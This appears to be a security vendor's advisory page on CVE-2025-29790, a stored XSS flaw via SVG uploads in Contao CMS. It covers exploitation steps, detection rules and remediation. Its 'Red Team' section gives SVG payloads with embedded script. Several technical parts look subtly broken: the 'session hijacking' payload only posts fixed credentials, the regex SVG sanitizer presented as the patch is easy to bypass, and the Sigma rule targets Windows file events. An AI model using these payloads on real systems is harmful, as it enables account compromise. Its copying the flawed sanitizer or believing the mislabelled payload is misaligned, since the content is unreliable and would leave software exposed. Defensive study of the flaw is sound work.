CVE-2025-29790
Executive Summary
CVE-2025-29790 is a Stored Cross-Site Scripting (XSS) vulnerability in the Contao Open Source CMS. An authenticated attacker with file upload privileges can upload a malicious SVG file containing embedded JavaScript. When this SVG is viewed in the back end or front end, the malicious script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is fixed in Contao versions 4.13.54, 5.3.30, and 5.5.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Contao is a PHP-based CMS distributed via Composer. The vulnerability exists in the core file upload handling logic. While no direct supply chain compromise is reported, the risk of malicious SVG files being uploaded and served to end users represents a significant integrity and confidentiality risk. Organizations should verify their Composer lock files and ensure no compromised packages are present.
CVSS Breakdown & Threat Level
The official CVSS score is 0.0 (unassigned). Based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The SVG file is served over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires an authenticated user with upload rights.
- User Interaction (UI): Required (R) – The victim must view the SVG file.
- Scope (S): Changed (C) – The script executes in the victim's browser, affecting the CMS session.
- Confidentiality (C): High (H) – Potential for session token theft.
- Integrity (I): High (H) – Attacker can modify content or perform actions as the victim.
- Availability (A): Low (L) – Could be used to deface or disrupt.
Estimated CVSS:3.1 Score: 8.0 (High)
Deep Dive & Mechanics
The vulnerability lies in Contao's file upload handler, which does not properly sanitize SVG files. SVG is an XML-based vector image format that can contain embedded JavaScript via <script> tags or event handlers (e.g., onload, onmouseover).
Attack Flow:
- Attacker logs into the Contao back end with file upload privileges.
- Attacker uploads a crafted SVG file containing malicious JavaScript.
- The SVG is stored on the server and served to other users.
- When a victim (admin or front-end user) views the SVG (e.g., in a file manager or embedded in a page), the JavaScript executes.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Root Cause: The file upload validation only checks the MIME type and file extension but does not parse the SVG content for executable code.
Vulnerable vs. Patched Code
Vulnerable (Contao < 4.13.54, < 5.3.30, < 5.5.6):
The upload handler accepts any SVG file without sanitizing its content. The file is stored as-is and served with the image/svg+xml MIME type.
// Vulnerable pseudo-code
public function uploadFile($file) {
if ($file->getMimeType() === 'image/svg+xml') {
// No content sanitization
$this->saveFile($file->getContent());
}
}
Patched (Contao >= 4.13.54, >= 5.3.30, >= 5.5.6): The patched version strips JavaScript from SVG files using a sanitizer (e.g., DOMPurify or a custom XML parser).
// Patched pseudo-code
public function uploadFile($file) {
if ($file->getMimeType() === 'image/svg+xml') {
$sanitizedContent = $this->sanitizeSvg($file->getContent());
$this->saveFile($sanitizedContent);
}
}
private function sanitizeSvg($svgContent) {
// Remove <script> tags and event handlers
$svgContent = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svgContent);
$svgContent = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $svgContent);
return $svgContent;
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Contao instance with file upload privileges.
- A target user who will view the uploaded SVG.
Step 1: Craft Malicious SVG Create an SVG file with embedded JavaScript.
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<rect width="100" height="100" fill="red"/>
<script type="text/javascript">
alert('XSS');
</script>
</svg>
Step 2: Upload SVG Log in to Contao back end, navigate to file manager, and upload the SVG.
Step 3: Trigger Execution Send the link to the SVG to the victim. When they view it, the script executes.
Advanced Payload (Session Hijacking):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<rect width="100" height="100" fill="red"/>
<script type="text/javascript">
fetch('/contao?action=contao_backend&do=login', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'username=admin&password=attackerpass'
});
</script>
</svg>
Blue Team (Detection & Response)
Detection Steps:
- Monitor file upload logs for SVG files.
- Inspect SVG files for
<script>tags or event handlers. - Use WAF rules to block SVG uploads containing JavaScript.
Response:
- Isolate the affected server.
- Remove malicious SVG files from the file system.
- Rotate all session tokens and passwords.
- Apply the patch immediately.
Indicators of Compromise (IOCs)
File-Based IOCs:
- SVG files containing
<script>tags oron*event handlers. - Unusual file sizes for SVG files (e.g., very small or very large).
Network IOCs:
- HTTP requests to
/files/*.svgwith unusual referrer headers. - Outbound connections from the server to unknown IPs (if the payload exfiltrates data).
Log IOCs:
- File upload logs showing SVG files uploaded by non-admin users.
- Error logs showing JavaScript execution errors in the back end.
Detection Engineering
YARA Rule
rule CVE_2025_29790_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2025-29790"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-29790"
strings:
$svg_header = "<svg"
$script_tag = "<script"
$event_handler = /\bon\w+\s*=\s*["']/
condition:
$svg_header and ($script_tag or $event_handler)
}
Sigma Rule
title: CVE-2025-29790 SVG Upload with Embedded Script
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|endswith: '.svg'
TargetFilename|contains: 'files'
filter:
- TargetFilename|contains: 'sanitized'
condition: selection and not filter
falsepositives:
- Legitimate SVG files with embedded scripts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-29790 - Malicious SVG Upload"; flow:to_server; content:"POST"; http_method; content:"multipart/form-data"; http_header; content:".svg"; fileext; pcre:"/<script|<svg\s[^>]*on\w+=/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Contao to version 4.13.54, 5.3.30, or 5.5.6.
- If immediate upgrade is not possible, disable SVG uploads in the file manager configuration.
- Implement a WAF rule to block SVG files containing
<script>or event handlers.
Long-Term Measures:
- Use a dedicated SVG sanitizer library (e.g., DOMPurify for PHP).
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit file uploads for malicious content.
- Train users to recognize and report suspicious file uploads.
Workaround: Add the following Apache/Nginx rule to block SVG uploads with scripts:
# Apache .htaccess
<FilesMatch "\.svg$">
Header set Content-Security-Policy "script-src 'none';"
</FilesMatch>
# Nginx
location ~* \.svg$ {
add_header Content-Security-Policy "script-src 'none';";
}
Valters IT
Securing Digital Frontiers